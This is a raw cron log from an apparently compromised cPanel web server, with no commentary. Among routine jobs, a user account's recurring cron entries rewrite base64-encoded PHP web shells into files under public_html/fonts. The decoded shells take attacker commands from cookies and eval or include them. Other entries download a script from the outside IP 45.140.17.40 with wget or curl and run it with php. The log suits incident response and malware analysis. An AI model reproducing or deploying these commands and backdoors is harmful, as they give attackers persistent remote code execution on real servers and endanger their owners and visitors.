Feb 22 19:45:01 ip-184-168-122-23 CROND[32741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:45:01 ip-184-168-122-23 CROND[32743]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:45:01 ip-184-168-122-23 CROND[32747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:45:01 ip-184-168-122-23 CROND[32748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:45:01 ip-184-168-122-23 CROND[32749]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:45:01 ip-184-168-122-23 CROND[32750]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:46:01 ip-184-168-122-23 CROND[646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:46:01 ip-184-168-122-23 CROND[648]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:46:01 ip-184-168-122-23 CROND[647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:46:01 ip-184-168-122-23 CROND[651]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:46:01 ip-184-168-122-23 CROND[650]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 19:46:01 ip-184-168-122-23 CROND[653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:47:01 ip-184-168-122-23 CROND[992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:47:01 ip-184-168-122-23 CROND[993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:47:01 ip-184-168-122-23 CROND[997]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:47:01 ip-184-168-122-23 CROND[998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:48:01 ip-184-168-122-23 CROND[1325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:48:01 ip-184-168-122-23 CROND[1326]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:48:01 ip-184-168-122-23 CROND[1329]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:48:01 ip-184-168-122-23 CROND[1332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:48:01 ip-184-168-122-23 CROND[1330]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:49:01 ip-184-168-122-23 CROND[1651]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Feb 22 19:49:01 ip-184-168-122-23 CROND[1654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:49:01 ip-184-168-122-23 CROND[1653]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:49:01 ip-184-168-122-23 CROND[1652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:49:01 ip-184-168-122-23 CROND[1655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2101]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2100]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:50:01 ip-184-168-122-23 CROND[2103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:50:01 ip-184-168-122-23 CROND[2109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2112]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:50:01 ip-184-168-122-23 CROND[2108]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:51:01 ip-184-168-122-23 CROND[2482]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:51:01 ip-184-168-122-23 CROND[2484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:51:01 ip-184-168-122-23 CROND[2485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:51:01 ip-184-168-122-23 CROND[2487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:52:02 ip-184-168-122-23 CROND[2806]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:52:02 ip-184-168-122-23 CROND[2808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:52:02 ip-184-168-122-23 CROND[2809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:52:02 ip-184-168-122-23 CROND[2810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:52:02 ip-184-168-122-23 CROND[2813]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:53:01 ip-184-168-122-23 CROND[3118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:53:01 ip-184-168-122-23 CROND[3120]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:53:01 ip-184-168-122-23 CROND[3119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:53:01 ip-184-168-122-23 CROND[3121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:54:01 ip-184-168-122-23 CROND[3438]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:54:01 ip-184-168-122-23 CROND[3440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:54:01 ip-184-168-122-23 CROND[3442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:54:01 ip-184-168-122-23 CROND[3441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:54:01 ip-184-168-122-23 CROND[3443]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:55:01 ip-184-168-122-23 CROND[3767]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:55:01 ip-184-168-122-23 CROND[3769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:55:01 ip-184-168-122-23 CROND[3772]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:55:01 ip-184-168-122-23 CROND[3774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:55:01 ip-184-168-122-23 CROND[3773]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:55:01 ip-184-168-122-23 CROND[3775]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:56:01 ip-184-168-122-23 CROND[4201]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:56:01 ip-184-168-122-23 CROND[4205]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:56:01 ip-184-168-122-23 CROND[4204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:56:01 ip-184-168-122-23 CROND[4207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:56:01 ip-184-168-122-23 CROND[4206]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:57:01 ip-184-168-122-23 CROND[4521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
